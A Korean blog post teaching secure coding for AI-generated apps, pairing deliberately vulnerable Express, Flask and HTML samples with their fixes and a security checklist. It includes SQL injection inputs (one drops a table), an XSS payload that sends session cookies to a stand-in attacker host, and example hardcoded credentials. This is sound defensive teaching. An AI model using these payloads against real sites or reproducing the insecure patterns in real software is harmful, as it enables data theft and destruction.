AI가 짜준 코드의 배신" — 바이브코딩 앱의 기술적 취약점 5가지

바이브코딩으로 만든 앱에 숨겨진 보안 취약점 5가지를 실제 코드 예시로 분석. 권한 검증 누락, SQL 인젝션, 취약한 라이브러리, 정보 노출, 그리고 실전 보안 체크리스트까지.
마크다운 원문·이 글에 보충할 내용이 있나요?

AI가 짜준 코드의 배신 — 바이브코딩 앱의 기술적 취약점 5가지

"우와, 이게 프롬프트 한 줄로 구현됐다고?"

AI가 만들어준 코드를 보고 감탄한 순간, 당신은 아마 이런 생각을 했을 것이다. "이거 진짜 괜찮은데?" 그런데 그 코드 안에 당신의 사용자 데이터를 통째로 빼낼 수 있는 구멍이 뚫려 있을 가능성이 높다.

이 글에서는 바이브코딩으로 만든 앱에서 가장 흔하고 치명적인 보안 취약점 5가지를 실제 코드와 함께 정리한다.

1. 권한 검증 누락 (IDOR)

AI가 만든 코드:


// Express.js — 주문 조회 API
app.get('/api/orders/:orderId', (req, res) => {
    const orderId = req.params.orderId;

    // 여기가 문제다:ใคร가 요청해도 모든 주문을 볼 수 있음
    db.query('SELECT * FROM orders WHERE id = ?', [orderId], (err, result) => {
        if (err) return res.status(500).json({ error: err.message });
        res.json(result[0]);
    });
});

위험성: 누군가 /api/orders/1, /api/orders/2, /api/orders/3 순서대로 요청하면 다른 사용자의 주문 내역을 모두 열람할 수 있다. 이것이 바로 IDOR(Insecure Direct Object Reference) 취약점이다.

공격 시나리오:


1. 내 주문 조회: GET /api/orders/42 → 정상
2. 타인 주문 조회: GET /api/orders/43 → 다른 사용자 결제 정보 노출
3. 루프로 반복: 1~1000번까지 순회 → 전체 사용자 데이터 유출

바른 코드:


app.get('/api/orders/:orderId', authenticateToken, (req, res) => {
    const orderId = req.params.orderId;
    const userId = req.user.id;  // JWT에서 추출한 현재 사용자 ID

    db.query(
        'SELECT * FROM orders WHERE id = ? AND user_id = ?',
        [orderId, userId],
        (err, result) => {
            if (err) return res.status(500).json({ error: '서버 오류' });
            if (!result.length) return res.status(404).json({ error: '주문 없음' });
            res.json(result[0]);
        }
    );
});

차이: AND user_id = ? 조건 하나가 추가되었다. 현재 로그인한 사용자의 주문만 조회된다.

2. SQL 인젝션

AI가 만든 코드:


# Flask — 검색 기능
@app.route('/search')
def search():
    keyword = request.args.get('q')

    # 직접 문자열 삽입 → 인젝션 취약
    query = f"SELECT * FROM products WHERE name LIKE '%{keyword}%'"
    cursor.execute(query)
    results = cursor.fetchall()
    return jsonify(results)

공격 시나리오:


정상 입력: http://app.com/search?q=노트북
→ SELECT * FROM products WHERE name LIKE '%노트북%'

악성 입력: http://app.com/search?q=' OR '1'='1
→ SELECT * FROM products WHERE name LIKE '%' OR '1'='1%'
→ 모든 상품 데이터 유출

더 악성: http://app.com/search?q='; DROP TABLE products;--
→ 테이블 자체가 삭제됨

바른 코드:


@app.route('/search')
def search():
    keyword = request.args.get('q')

    # 바인딩 파라미터 사용 → 인젝션 방지
    cursor.execute(
        "SELECT * FROM products WHERE name LIKE %s",
        (f'%{keyword}%',)
    )
    results = cursor.fetchall()
    return jsonify(results)

핵심: f-string 대신 ? 또는 %s 바인딩을 사용하면, 입력값이 SQL 구문이 아닌 "값"으로 처리된다.

3. XSS (Cross-Site Scripting)

AI가 만든 코드:


<!-- 사용자 프로필 페이지 -->
<div id="profile"></div>

<script>
    // URL에서 사용자 이름을 가져와 화면에 표시
    const username = new URLSearchParams(window.location.search).get('user');
    document.getElementById('profile').innerHTML = `<h1>${username}의 프로필</h1>`;
</script>

공격 시나리오:


정상 URL: profile.html?user=홍길동
→ <h1>홍길동의 프로필</h1> (정상)

악성 URL: profile.html?user=<script>document.location='http://xss.com/steal?c='+document.cookie</script>
→ 사용자의 쿠키(세션 토큰)가 공격자 서버로 전송됨
→ 공격자가 세션을 탈취하여 로그인된 상태로 앱 사용

바른 코드:


<div id="profile"></div>

<script>
    const username = new URLSearchParams(window.location.search).get('user');

    // textContent 사용 → HTML 태그가 아닌 텍스트로 처리
    const h1 = document.createElement('h1');
    h1.textContent = `${username}의 프로필`;
    document.getElementById('profile').appendChild(h1);
</script>

핵심: innerHTML 대신 textContent를 사용하면, 입력값이 HTML로 해석되지 않는다.

4. 민감 정보 하드코딩

AI가 만든 코드:


# 데이터베이스 연결
import psycopg2

conn = psycopg2.connect(
    host="db.mycompany.com",
    database="production",
    user="admin",
    password="SuperSecret123!"  # ← 여기
)

# 이메일 발송
SMTP_PASSWORD = "GmailAppPassword456"  # ← 여기

# 결제 API
STRIPE_SECRET_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"  # ← 여기

위험성: 이 코드가 GitHub에 올라가면? 5분 안에 자동 스캔 봇이 이 키들을 찾아내어 사용한다. sk_live_로 시작하는 Stripe 키는 곧바로 결제 사기에 사용된다.

실제 사고 사례: GitHub에서 password, secret, api_key 등을 스캔하는 자동화 봇이 24시간 돌아간다. 코드를 push하는 순간, 민감 정보는 이미 유출된 것이다.

바른 코드:


# .env 파일 (GitHub에 올리지 않음)
# DB_PASSWORD=SuperSecret123!
# SMTP_PASSWORD=GmailAppPassword456
# STRIPE_SECRET_KEY=sk_live_4eC39HqLyjWDarjtT1zdp7dc

import os
from dotenv import load_dotenv

load_dotenv()

conn = psycopg2.connect(
    host=os.environ.get('DB_HOST'),
    database=os.environ.get('DB_NAME'),
    user=os.environ.get('DB_USER'),
    password=os.environ.get('DB_PASSWORD')
)

.gitignore에 반드시 추가:


.env
*.key
*.pem
config/secrets.json

5. 에러 핸들링 미흡으로 인한 정보 노출

AI가 만든 코드:


// Express.js — 전역 에러 핸들러
app.use((err, req, res, next) => {
    console.error(err.stack);
    res.status(500).json({
        error: err.message,
        stack: err.stack  // ← 치명적
    });
});

위험성: 운영 서버에서 에러가 발생하면, 사용자 브라우저에 다음과 같은 정보가 노출된다:


{
    "error": "Cannot read property 'id' of undefined",
    "stack": "TypeError: Cannot read property 'id' of undefined\n
    at /app/src/routes/orders.js:15:23\n
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)\n
    at /app/node_modules/express/lib/router/index.js:28:3\n
    at Function.handle (/app/node_modules/express/lib/router/index.js:88:3)"
}

이 정보를 통해 공격자는:

  • 서버 디렉터리 구조 파악 (/app/src/routes/orders.js)
  • 프레임워크 버전 확인 (express/lib/router)
  • 코드 라인 넘버 추적 (orders.js:15:23)
  • 추가 공격 설계 가능

바른 코드:


// 전역 에러 핸들러
app.use((err, req, res, next) => {
    console.error(err.stack);  // 서버 로그에만 기록

    // 운영 환경: 상세 에러 노출 금지
    if (process.env.NODE_ENV === 'production') {
        res.status(500).json({ error: '서버 내부 오류가 발생했습니다.' });
    } else {
        // 개발 환경에서만 상세 에러 표시
        res.status(500).json({ error: err.message, stack: err.stack });
    }
});

6. 실전 보안 체크리스트

바이브코딩 앱을 프로덕션에 배포하기 전 반드시 확인하라:

백엔드

  • [ ] 입력값 검증: 모든 사용자 입력에 SQL 인젝션 필터링이 걸려 있는가?
  • [ ] 인증과 인가: 모든 API 요청에서 JWT/세션 토큰을 재검증하는가?
  • [ ] 인젝션 방지: SQL 쿼리에 바인딩 파라미터를 사용하는가?
  • [ ] 에러 핸들링: 운영 서버에서 상세 에러 메시지가 노출되지 않는가?
  • [ ] 민감 정보 격리: API 키, 비밀번호가 .env에 있고 .gitignore에 등록되어 있는가?

프론트엔드

  • [ ] XSS 방지: innerHTML 대신 textContent를 사용하는가?
  • [ ] CSRF 보호: POST/PUT/DELETE 요청에 CSRF 토큰이 포함되는가?
  • [ ] 콘솔 로그 제거: console.log()가 프로덕션 코드에 남아있지 않은가?

인프라

  • [ ] 의존성 감사: npm audit 또는 pip check로 취약한 라이브러리가 없는가?
  • [ ] HTTPS 적용: 모든 통신이 HTTPS로 암호화되는가?
  • [ ] 디버그 모드 OFF: DEBUG=True가 프로덕션 환경에서 켜져있지 않은가?

# npm 의존성 감사
npm audit
npm audit fix

# pip 의존성 감사
pip check
pip-audit

# SonarQube 정적 분석 (예시)
sonar-scanner -Dsonar.projectKey=myapp -Dsonar.sources=./src

7. 결론 — 지휘관이 똑똑해야 군대가 안전하다

AI는 훌륭한 코딩 도구다. 그러나 AI는 보안을 "책임지지" 않는다. AI가 만든 코드의 보안은 전적으로 사용자의 몫이다.

> "AI가 만든 코드는 범죄에 악용되기 딱 좋은 수준으로 완벽하게 보안 취약하다."

SQL 인젝션이 뭔지 모르면, AI가 만들어준 검색 기능이 전체 데이터베이스를 유출할 수 있다. XSS가 뭔지 모르면, AI가 만들어준 프로필 페이지가 사용자 세션을 탈취당할 수 있다.

바이브코딩을 한다면, 적어도 이 다섯 가지 취약점이 뭔지, 왜 위험한지, 어떻게 고치는지는 알아야 한다. 그렇지 않으면 당신이 만든 앱은 당신의 사용자를 배신하게 된다.

> "지휘관(인간)이 똑똑해야 군대(AI)가 안전하다."


본 글은 운영자 개인의 실전 경험과 관점을 바탕으로 작성되었습니다.

👁 조회 0 · 💬 댓글 0개 · 작성자 유형: human | 빌드: 2026-09-23T15:25:41+09:00